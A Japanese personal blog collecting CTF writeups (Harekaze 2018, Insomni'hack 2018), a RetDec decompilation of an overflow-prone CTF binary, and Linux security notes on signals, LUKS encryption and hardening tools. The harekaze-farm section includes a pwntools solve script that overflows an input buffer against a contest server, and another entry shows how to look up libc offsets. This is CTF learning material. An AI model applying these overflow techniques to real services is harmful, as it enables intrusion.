fr33f0r4ll

自分用雑記

Linux! C! signal!

過去のpwn問でsignalを使う問題があったけど、今までよく知らなかったのでメモ。

あらかじめ定義されているシグナルごとにハンドラを登録し、シグナルを受け取ったときにハンドラの処理を実行して割り込みを処理をする。

linuxだとこんな感じになる。

#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// ハンドラ関数
// signumにはシグナルを表す数値が渡される
void test_signal_handler(int signum) {
  printf("sigint! %d\n", signum);
  exit(1);
}

int main(int argc, char** argv){
  // test_signal_handlerをSIGINTを受け取ったときのハンドラとして登録している
  // SIGINTはプロセスを終了させるためのシグナル、C-c
  signal(SIGINT, test_signal_handler);

  // SIGUSR1, SIGUSR2などのユーザが定義できるシグナルもある
  // ハンドラはシグナルを無視するSIG_IGNなどの値を設定することもできる
  signal(SIGUSR1, SIG_IGN);

  sleep(3600);
  
  return 0;
}

このプログラムを実行すると1時間スリープするが、実行中にCtrl-Cを押したりしてSIGINTを送るとメッセージを表示してすぐに終了するようになっている。 sleep中でも割り込んで違う処理を実行させられることが確認できる。

解析するときにはsignalに渡されているアドレスから関数の位置を特定しないといけない。

raiseを使えばプロセスにシグナルを送信できる。

Harekaze CTF 2018 Writeup

卒論書かなきゃいけなかったのであまり参加できなかった。 解けたのはwelcome、easy-problem、harekaze-farm、div-nの4つ。 welcomeとeasy-problemはサービス問みたいなものなので実質2つくらいかな。

easy-problem

rot13 nkfを使った。

echo 'UnerxnmrPGS{Uryyb, jbeyq!}' | nkf -r

nkf便利。

div N

割り算を最適化したバイナリの問題。 ちゃんと調べれば最適化の方法とか逆算の仕方とか分かったのかもしれないが、見つからず面倒になったので力技で解いた。

要はx/NのNを特定すればよくて、アセンブリアルゴリズムが分かってるんだから、x/Nがちょうど1になるようなxを求めればいい。 これなら単純に二分探索していける。 アルゴリズムを書くのも面倒だったので直接xの値を書き換えて特定していった。 限りなく頭悪い解き方な気がする。

#include <stdio.h>

int main(){
  long long ret_val = 0;
  long long int i = 0x376a474eb862e;
  
  __asm__ __volatile__ (
            "mov    %1, %%rdi\n\t"
            "mov    %%rdi,%%rax\n\t"
            "movabs $0x49ea309a821a0d01,%%rdx\n\t"
            "sar    $0x3f,%%rdi\n\t"
            "imul   %%rdx\n\t"
            "sar    $0x30,%%rdx\n\t"
            "mov    %%rdx,%%rax\n\t"
            "sub    %%rdi,%%rax\n\t"
            "mov    %%rax,%0\n\t"
            : "=g"(ret_val)
            : "r"(i)
            );

  printf("i: %lld\n", i);
  printf("ret_val: %lld\n", ret_val);
  
  return 0;
}

上から順番にぴったり1になるような数値を決定していって、最後までいったら正解になる。 フラグが16進数なのか10進数なのか分からないのは不親切だと思う。

harekaze-farm

解けてみればすごい簡単だけど、無駄に時間かけてしまった。 プログラムの挙動自体が脆弱な問題は盲点だった、経験の少さが露呈した感じがする。

単に、入力した動物は8バイト単位で格納されているのに、16バイト単位で入力ができるということである。 なので最初の8バイトはcowとかの正当な値にして、次の8バイトに不正な値を入力することができる。 バイナリを解析するとisorokuの鳴き声がフラグになっているので、isorokuを入力してやればいい。 次の入力が正当だと上書きされるので注意する必要がある。

from pwn import *

context.update(arch='i386')
exe = './harekaze_farm'

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote('problem.harekaze.com', 20328)
    else:
        return process([exe] + argv, *a, **kw)

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================

io = start()

f = open('payload', 'w')

payload = 'cow' + '\x00'*5 + 'isoroku'
io.sendline(payload)

f.write(payload)
f.close()

log.info(io.recv(timeout=0.1))

io.sendline('A' * 0xf)
log.info(io.recv(timeout=0.1))

io.sendline('A' * 0xf)
log.info(io.recv(timeout=0.1))

io.interactive()

他も解きたかったが、実力と時間が足りなかった。

Linux ディスクの暗号化

Linuxでディスクを暗号化したので手順をメモする。

ディスク暗号化

ディスクへ書き込む時点で暗号化してくれるのでファイルレベルで暗号化するより楽に管理できるし、コピーしたときとかにディスクにデータが残ってて復元されてしまったりとかの危険性は減る。 ただし、ディスクに書き込まれるデータそのものが全て暗号化されるのでディスクが破損すると全てのデータが取り出せなくなったりする危険がある。

これをやっておくとノートパソコンとかUSBとかを紛失してもすぐに中身が漏洩することはないので大事な情報を持ち運ぶときのために用意しておくと便利。 パスの管理をしっかりやっていれば、ディスク自体は使い回しても基本的には問題ないはず。 一度マウントすると復号されてデータが読み出せるので、信頼できない機器で開くのはやめた方がいい。 それと復号するときに入力した鍵がメモリに残ってたりするので、マウントしたままスリープ状態で持ち運ぶのはやめよう。

手順

最初に暗号化するディスクパーティションを用意する。 partedなりfdiskなりgpartedなりで用意するか、ディスクの領域全てを使ってもいい。 cryptsetupでLUKSを使う。

古いディスクを使い回すなら、せっかくなのでディスクの状態を診断しておくといい。 下記のサイトで紹介されているbadblocksは各セクタに書き込んで順次チェックすることができる。

Linux - badblocks コマンドで HDD 不良ブロックのチェック! - mk-mode BLOG

前に書いた記事の通りにディスクを初期化しておくと以前のデータを復元できなくなる。 ランダムなデータを書き込めば、暗号化データを識別するのも難しくなるはず。 hiziriai.hatenablog.com

/dev/sdb1のパーティションを暗号化し、マウントするときの例。

apt install cryptsetup
cryptsetup luksFormat /dev/sdb1
cryptsetup luksOpen /dev/sdb1 encrypted-disk
mkfs.ext4 /dev/mapper/encrypted-disk
mkdir /mnt/encrypted-disk
mount /dev/mapper/encrypted-disk /mnt/encrypted-disk
umount /mnt/encrypted-disk
cryptsetup luksClose /dev/mapper/encrypted-disk

luksFormatでディスクの暗号化方式とかハッシュ方式を選択できる、デフォルトでは256ビットのaesとsha1になる。 パスワードもこのとき決める。複数のパスワードも登録できるらしいが個人で使うだけなら必要ない。

luksOpenで読み書きできるようにしている。 openでもいい。指定した名前で/dev/mapper以下にアクセスできるリンクが貼られる。 luksCloseあるいはcloseするまで読み書き可能な状態になっているはず。

あとはファイルシステムを作成して(ここではext4)マウントすれば普通のディスクと同じように使える。

avastのretdec

avastがデコンパイラを公開したので使ってみた。 お題はちょっと前のsharif-ctf2018のvuln4で、試しにデコンパイルしてみる。

インストール

まずはretdecをインストールする。 githubリポジトリにインストールのやり方があるのでプラットフォームに合わせてインストール。 ubuntuだとaptで入るcmakeじゃバージョンが低くてコンパイルできないので、cmakeも別途入れる必要があった。 とりあえずコンパイルしてインストールすると様々なツールとスクリプトがインストールされる。 ぱっと見た感じだとマルウェア解析をやりやすくするための解析ツールとかLLVM IRのトランスレータとかも入るみたいなので使ってみたい。 他にも簡単に使えるようにするためのスクリプトも入る。 デコンパイルするにはretdec-decompiler.shを実行すればいい。

デコンパイル

vuln4をデコンパイルしてみる。

retdec-decompiler.sh vuln4

簡単過ぎてビックリする。

デコンパイルすると、いくつかのファイルが生成された。 + vuln4.c + vuln4.c.backend.bc + vuln4.c.backend.ll + vuln4.c.frontend.dsm + vuln4.c.json

vuln4.c以外は中間生成物っぽい? vuln4.cがデコンパイル結果になる。

//
// This file was generated by the Retargetable Decompiler
// Website: https://retdec.com
// Copyright (c) 2018 Retargetable Decompiler <info@retdec.com>
//

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// ------------------- Function Prototypes --------------------

int32_t __x86_get_pc_thunk_bx(int32_t a1);
int32_t _start(int32_t a1);
int32_t copy_it(int32_t a1);
int32_t function_8048360(int32_t a1);
int32_t function_8048370(int32_t a1);
int32_t function_8048380(int32_t a1, int32_t a2, int32_t a3);
int32_t function_8048390(int32_t a1, int32_t a2);
int32_t function_80483a0(int32_t a1);
int32_t function_80483b0(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8);

// --------------------- Global Variables ---------------------

int32_t g1 = 0; // eax
int32_t g2 = 0;
int32_t (*g3)(int32_t) = NULL;

// ------------------------ Functions -------------------------

// Address range: 0x8048360 - 0x804836f
int32_t function_8048360(int32_t a1) {
    // entry
    return ((int32_t (*)(int32_t))&g3)(g2);
}

// Address range: 0x8048370 - 0x804837f
int32_t function_8048370(int32_t a1) {
    // 0x8048370
    g1 = fflush();
    return function_8048360(0);
}

// Address range: 0x8048380 - 0x804838f
int32_t function_8048380(int32_t a1, int32_t a2, int32_t a3) {
    // 0x8048380
    g1 = fgets();
    return function_8048360(8);
}

// Address range: 0x8048390 - 0x804839f
int32_t function_8048390(int32_t a1, int32_t a2) {
    // 0x8048390
    g1 = strcpy();
    return function_8048360(16);
}

// Address range: 0x80483a0 - 0x80483af
int32_t function_80483a0(int32_t a1) {
    // 0x80483a0
    g1 = puts();
    return function_8048360(24);
}

// Address range: 0x80483b0 - 0x80483bf
int32_t function_80483b0(int32_t a1, int32_t a2, int32_t a3, int32_t a4, int32_t a5, int32_t a6, int32_t a7, int32_t a8) {
    // 0x80483b0
    g1 = __libc_start_main();
    return function_8048360(32);
}

// Address range: 0x80483d0 - 0x80483ff
int32_t _start(int32_t a1) {
    int32_t v1 = g1; // 0x80483d8
    int32_t v2 = v1; // bp-4
    int32_t v3;
    int32_t result = function_80483b0(0x80484ea, a1, (int32_t)&v3, 0x8048580, 0x80485e0, 0, (int32_t)&v2, v1); // 0x80483ec
    return result;
}

// Address range: 0x8048400 - 0x8048403
int32_t __x86_get_pc_thunk_bx(int32_t a1) {
    // entry
    return g1;
}

// Address range: 0x80484cb - 0x80484e9
int32_t copy_it(int32_t a1) {
    // entry
    int32_t v1; // bp-22
    function_8048390((int32_t)&v1, a1);
    return 0;
}

// Address range: 0x80484ea - 0x8048571
int main(int argc, char ** argv) {
    // entry
    function_80483a0((int32_t)"This time it is randomized...");
    function_80483a0((int32_t)"You should find puts yourself");
    function_8048370(*(int32_t *)0x80498a4);
    int32_t v1; // bp-66
    int32_t v2 = &v1; // 0x804853a
    function_8048380(v2, 200, *(int32_t *)0x80498a0);
    copy_it(v2);
    function_80483a0((int32_t)"done!");
    return 0;
}

// --------------- Dynamically Linked Functions ---------------

// int32_t __libc_start_main(void);
// int32_t fflush(void);
// int32_t fgets(void);
// int32_t puts(void);
// int32_t strcpy(void);

// --------------------- Meta-Information ---------------------

// Detected compiler/packer: gcc (4.7.2)
// Detected functions: 10
// Decompilation date: 2018-02-06 22:45:20

元のvuln4が分岐もループもほとんどない単純なプログラムだからどの程度できるのかよく分からない。 pltっぽいところも関数にしているのが少し分かりにくいが、結構リバーシングの手間が省けるんじゃないだろうか? どの程度使えるのかこれから試していきたい。

libcから関数本体のオフセットを取得する方法

nm -D libc.so.6 | grep function_name

Insomni'hack teaser 2018 writeup

welcomeしかできてないので実質0完。 Rule86の途中までしかできなかったのでそのwriteup。

Rule86

同期型ストリーム暗号の問題。 簡単に言えば鍵から生成した疑似乱数列と平文のxorを取るような暗号で、同じ鍵からは同じ疑似乱数列が生成されなければならない。 ダウンロードしてきたファイルの中にRule86.txtの平文と暗号文があるので、使われた疑似乱数列が復元できる。 問題文には同じ鍵を再利用していると書いてあるので、他のファイルも同じ乱数列で復号できるようになる。 それで他のファイル、hint.gif.encとsuper_cipher.py.encを復号すると、途中まで復号することができる。 super_cipher.py.encは復号できる前半部分に疑似乱数を生成する関数がある。 この関数を調べると、どうも直前に生成した乱数を引数にして次の乱数を生成するようになっているらしいので、足りない疑似乱数列の続きを生成できるようになる。 処理は32バイト単位。 ここまでpython2でやってたけど、この関数はpython3じゃないと微妙に誤差がでるのでそこでひっかかってた。 python3に切り替えて復元した疑似乱数列の続きを生成して復号すると、hint.gifとsuper_cipher.pyも完全に復元できた。

hint.gifには鍵がフラグであるみたいなことが書いてあったんだが、そこからが分からなかった。 控え目にいって32文字ほどありそうな鍵をブルートフォースするのも現実的ではないし、256回ほど疑似乱数生成処理を挟んで初期化しているから推測できそうもないし、orを使ってマッピングしているから逆算できそうもなし、gifファイルは画像一枚しか見つからないから何かありそうな感じもしない。 ここでお手上げ状態になりそのまま36時間経過してしまった。

linuxのセキュリティツール

Linuxで使えるセキュリティツールの使い方のメモ。

ClamAV

アンチウイルスソフト。 avastとかより検知率は低いっぽいがないよりマシ。 定期的なシステム全体のスキャンなどもできる。 特にCLIから個別のファイルのスキャンができるのが便利。

# install
sudo apt install clamav
# scan
clamscan file
clamscan -i file # -iを付けると感染している疑いのあるファイルしか表示されない

rkhunter

ルートキット検知ツール。 システムファイルやコマンドのプログラムをチェックしてルートキットが仕込まれていないかを調べられる。 定期的に実行してメールを送信させることもできるっぽいけど、個人で使ってるくらいだと必要ないかな。

# install
sudo apt install rkhunter
# check local system
sudo rkhunter -c

チェックが終わると/var/log/rkhunter.logでログが確認できる。 そのままだと問題ないファイルでも警告が出てしまうので、環境に合わせてホワイトリストを設定するといい。 /etc/rkhunter.confが設定ファイルになる。

ufw

ファイアウォールiptablesのラッパーで、ubuntuではデフォルトで入っているはず。

sudo ufw enable # 有効化
sudo ufw default DENY # デフォルトのポリシーを設定、DENYにすると安全
sudo ufw allow 80/tcp # 開けておく必要があるポートやサービスの設定ができる

iptablesより楽に使えるので、公開サーバとかではなく個人で使うくらいなら十分じゃないかと思う。

lynis

システム全体をチェックしてくれる。 インストールするには公式のサイトの方法でやるのがいい。 aptなどでは古いものになってしまう。

# install
apt-key adv --keyserver keyserver.ubuntu.com --recv-keys C80E383C3DE9F082E01391A0366C67DE91CA5D5F
apt install apt-transport-https
echo 'Acquire::Languages "none";' > /etc/apt/apt.conf.d/99disable-translations
echo "deb https://packages.cisofy.com/community/lynis/deb/ stable main" > /etc/apt/sources.list.d/cisofy-lynis.list
apt update
apt remove lynis
apt install lynis

# 使い方
sudo lynis audit system # チェック

基本的には/var/log/lynis-report.datから警告や推奨された対策を取っていくことになる。 チェックした後にどれほど堅牢なのかのスコアが表示されるので高得点を目指そう。

TODO

  • debsums
  • apt-show-versions
  • proccess accounting
  • sysstat
  • auditd